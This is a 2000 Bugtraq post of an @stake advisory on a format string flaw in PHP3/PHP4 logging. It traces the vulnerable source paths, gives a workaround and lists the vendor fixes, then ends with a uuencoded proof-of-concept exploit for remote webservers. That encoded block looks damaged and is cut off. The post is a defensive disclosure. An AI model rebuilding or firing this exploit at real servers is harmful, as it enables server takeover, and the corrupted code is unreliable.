From advisories@ATSTAKE.COM Thu Oct 12 12:58:10 2000 From: "@stake Advisories" To: BUGTRAQ@SECURITYFOCUS.COM Date: Thu, 12 Oct 2000 10:04:32 -0400 Subject: [BUGTRAQ] @stake Advisory: PHP3/PHP4 Logging Format String Vulnerability (A 101200-1) [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We contacted the PHP team on 10/3/2000 concerning this problem. We wanted to hold off releasing our advisory until a fix was available for PHP3 since some users may not be able to easily upgrade to PHP4. Fixes for PHP3 and PHP4 are now available. We are aware that Jouko Pynnönen found this problem independantly but chose to release before the PHP3 fix was available. Weld Pond @stake, Inc. www.atstake.com Security Advisory Advisory Name: PHP3/PHP4 Logging Format String Vulnerability Release Date: 10/12/2000 Application: PHP3 and PHP4 Platform: All platforms Severity: Attacker can remotely compromise PHP3 enabled webservers, and most likely PHP4 enabled webservers Author: DilDog [dildog@atstake.com] Vendor Status: Fix for PHP3 and PHP4 available Web: www.atstake.com/research/advisories/2000/a101200-1.txt Executive Summary PHP versions 3 and 4 are vulnerabled to format string attacks in their logging functions. This can lead to remote takeover of PHP enabled webservers that have logging enabled. Overview PHP versions 3 and 4 employ a set of logging functions that, through an improper use of 'syslog()' and 'vsnprintf()', render it vulnerable to attack. The attacker could utilize this vulnerability to remotely compromise any PHP enabled webserver that has logging to either syslog or to a file enabled in the 'php.ini' configuration file. This particular attack does not affect PHP installations that do not log PHP errors and warnings. Detailed Description PHP versions 3 and 4 utilize the following functions: main/php_syslog.h: #define php_syslog syslog main/main.c: void php_log_err(char *log_message) { ... php_syslog(LOG_NOTICE, log_message) ... fprintf(log_file, "[%s] ", error_time_str); fprintf(log_file, log_message); fprintf(log_file, "\n"); ... } Hence, if the "log_message" contains any user input at all, then it creates a vulnerability. An exploitable condition is presented in the following code for PHP 3, since 'php3_error' calls down to php_log_err if logging is enabled: main/main.c: PHPAPI void php3_error(int type, const char *format,...) { ... char log_buffer[1024]; snprintf(log_buffer, 1024, "PHP 3 %s: %s in %s on line %d", error_type_str, buffer, filename, php3_get_lineno(GLOBAL(current_lineno))); php3_log_err(log_buffer); ... } functions/post.c: static char *php3_getpost(pval *http_post_vars) { ... php3_error(E_WARNING, "File Upload Error: No MIME boundary found"); php3_error(E_WARNING, "There should have been a \"boundary=3Dsomething\" in the Content-Type string"); php3_error(E_WARNING, "The Content-Type string was: \"%s\"", ctype); ... } PHP4 looks vulnerable as well, but in a different place. When a file is uploaded via a post operation, if the file name contains format string exploit code, and the file size is larger than the maximum file size for uploads, the following code is executed. Note that this possible problem has not been tested by @stake, but the code path looks problematic: static void php_mime_split(char *buf, int cnt, char *boundary, zval *array_ptr) { ... php_error(E_WARNING, "Max file size exceeded - file [%s] not saved", namebuf); ... } Temporary Solution Turn off logging on PHP3 and PHP4 by going into your 'php.ini' file and changing the following settings to: log_errors = Off Vendor Response A fixed version of PHP4 is available: http://www.php.net/do_download.php?download_file=php-4.0.3.tar.gz A fixed version of PHP3 is available: http://www.php.net/distributions/php-3.0.17.tar.gz Proof-of-Concept Code This proof of concept code creates a zero length file in /tmp/BADPHP. Use like this: gcc badphp.c && ./a.out (php file path must point to an existing php file, such as /foo.php3) begin 644 badphp.c M(VEN8VQU9&4\PH@("`@<')I;G1F*"(E'!L;VET('-T7!E.FUU;'1I<&%R="]F;W)M+61A=&$@)24E=5@E)5@E)5@E)6AN M(BP*"2`@(#4U.#$W("\J*V]F9G-E=#`L,2PR+#,J+R`I.PH*("`O*B!F:6QL M('=I=&@@8G)E86MP;VEN=',@86YD(&YO<',J+PH@('-T87)T/7-T#`P,#`P,$9&*3T],"D@=F%L=65\/3!X,#`P,#`P,#0["B`@ M("!I9B@H=F%L=64F,'@P,#`P1D8P,"D]/3`I('9A;'5E?#TP>#`P,#`P-#`P M.PH@("`@:68H*'9A;'5E)C!X,#!&1C`P,#`I/3TP*2!V86QU97P],'@P,#`T M,#`P,#L*("`@(&EF*"AV86QU928P>$9&,#`P,#`P*3T],"D@=F%L=65\/3!X M,#0P,#`P,#`["B`@("`J*'5N$)!.R`O M*B!M;W8@961X+"`H;F]T(#!X,4(V("AA*W)W*2D@*B\*("!S<&QO:71;$9&.PH@('-P;&]I=%MS=&%R M="LQ,5T],'A&1CL*("!S<&QO:71;$8W.R`O*B!N;W0@96-X("HO"B`@$0Q.PH@(`H@('-P;&]I=%MS=&%R="LQ-5T],'A%.#L@+RH@ M8V%L;"!E:7`K-"`K(&EN8R!E87@@*&]V97)L87!P:6YG*2`J+PH@('-P;&]I M=%MS=&%R="LQ-ET],'A&1CL@"B`@$9&.R`* M("!S<&QO:71;$,P.PH@('-P;&]I=%MS=&%R M="LR,5T],'@U0CL@+RH@<&]P(&5B>"`J+PH@('-P;&]I=%MS=&%R="LR,ET] M,'@V03L@+RH@<'5S:"`R,B`H;V9F#4X.R`O*B!P;W`@96%X("HO"B`@#`S.R`O*B!A9&0@96)X+&5A>"`J+PH@('-P;&]I=%MS=&%R="LR M-ET],'A$.#L*("`*("!S<&QO:71;$,P.PH*("!S<&QO:71; M71E('!T#,S.R`O*B!X;W(@96%X+&5A>"`J+PH@('-P;&]I=%MS M=&%R="LS.%T],'A#,#L*(`H@('-P;&]I=%MS=&%R="LS.5T],'@T,#L@+RH@ M:6YC(&5A>"`J+PH@(`H@('-P;&]I=%MS=&%R="LT,%T],'A#1#L@+RH@:6YT M(#@P("A?97AI="D@*B\*("!S<&QO:71;2@F'!L;VET('-T3U!1E])3D54.PH@('-A9&1R+G-I;E]P;W)T/6AT;VYS M*&%T;VDH87)G=ELR72DI.PH@(&AE/6=E=&AO6YA;64H87)G=ELQ72D[ M"B`@:68H:&4]/4Y53$PI('L*("`@('!R:6YT9B@B:6YV86QI9"!H;W-T;F%M M92Y<;B(I.PH@('T*("!M96UC<'DH)BAS861D